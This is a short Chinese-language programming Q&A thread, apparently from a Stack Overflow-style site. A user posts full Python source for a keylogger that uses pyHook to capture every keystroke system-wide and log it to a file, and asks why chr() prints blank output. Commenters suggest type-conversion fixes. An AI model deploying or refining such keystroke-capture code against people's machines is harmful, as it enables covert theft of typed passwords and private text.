我写了一个键盘记录程序,但打印不正确。如果我告诉它打印该事件,ASCII解码(print(event.Ascii)
),它打印出该密钥的Ascii数值。但如果我告诉它print(chr(event.Ascii))
它只是打印一个空行。为什么是这个,我该如何解决它?ASCII chr()不打印任何东西
全码:
import pyHook, pythoncom, sys, logging
file_log = "log.txt"
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG,format='%(message)s')
chr(event.Ascii)
logging.log(10, chr(event.Ascii))
print(chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
尝试'print(chr(int(event.Ascii)))'。 –
这增加了一些进步。我使用Enter键,空格键和A键进行了测试,并且它们都返回了一个看起来像这样一个更小版本的小框:[] – doejs
尝试'print(chr(int(str(event.Ascii)))) '。我应该在之前提出这个建议。 –